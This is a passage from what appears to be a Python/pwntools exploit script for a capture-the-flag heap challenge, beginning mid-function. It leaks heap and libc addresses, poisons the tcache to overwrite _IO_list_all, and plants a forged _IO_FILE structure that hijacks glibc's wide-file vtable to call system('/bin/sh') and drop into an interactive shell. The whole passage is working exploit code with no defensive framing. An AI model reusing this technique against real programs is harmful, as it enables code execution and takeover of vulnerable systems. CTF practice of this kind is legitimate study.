cmd(1)
sla("Index:",str(index))
sla("what size :",str(size))
def free(index):
cmd(2)
sla("Index:",str(index))
def show(index):
cmd(3)
sla("Index:",str(index))
def edit(index,content):
cmd(4)
sla("Index:",str(index))
sla("content: ",content)
add(0,0x78)
add(1,0x78)
free(0)
show(0)
key = uu64(rc(5)[-5:])
heap_base = key << 12
lg("key")
lg("heap_base")
add(0,0x78)
add(2,0x428)
add(3,0x10)
add(4,0x418)
free(2)
add(5,0x1000)
show(2)
libc_base = uu64(ru(b'\x7f')[-6:]) - 0x21a0d0
io_list_all = libc_base + 0x21a680
system = libc_base + 0x50d70
binsh = libc_base + 0x1d8698
IO_wfile_jumps = libc_base + libc.sym["_IO_wfile_jumps"]
lg("libc_base")
lg("io_list_all")
lg("system")
lg("binsh")
lg("IO_wfile_jumps")
add(6,0x20)
add(7,0x20)
add(8,0x20)
add(9,0x20)
free(6)
free(7)
free(8)
edit(8,p64(io_list_all^key))
add(9,0x20)
add(10,0x20)
edit(10,p64(heap_base + 0x7f0))
fake_io_addr = heap_base + 0x7f0 #index 5
flag_addr = heap_base
fake_IO_FILE = b"/bin/sh\x00" #_flags=rdi
fake_IO_FILE += p64(0)*7
fake_IO_FILE += p64(1)+p64(2) # rcx!=0(FSOP)
fake_IO_FILE += p64(fake_io_addr+0xb0)#_IO_backup_base=rdx
fake_IO_FILE += p64(system)#_IO_save_end=call addr(call setcontext/system)
fake_IO_FILE = fake_IO_FILE.ljust(0x68, b'\x00')
fake_IO_FILE += p64(0) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x88, b'\x00')
fake_IO_FILE += p64(flag_addr) # _lock = a writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xa0, b'\x00')
fake_IO_FILE += p64(fake_io_addr+0x30)#_wide_data,rax1_addr
fake_IO_FILE = fake_IO_FILE.ljust(0xc0, b'\x00')
fake_IO_FILE += p64(1) #mode=1
fake_IO_FILE = fake_IO_FILE.ljust(0xd8, b'\x00')
fake_IO_FILE += p64(IO_wfile_jumps+0x30) # vtable=IO_wfile_jumps+0x10
fake_IO_FILE += p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40) # rax2_addr
edit(4,fake_IO_FILE)
cmd(5)
ia()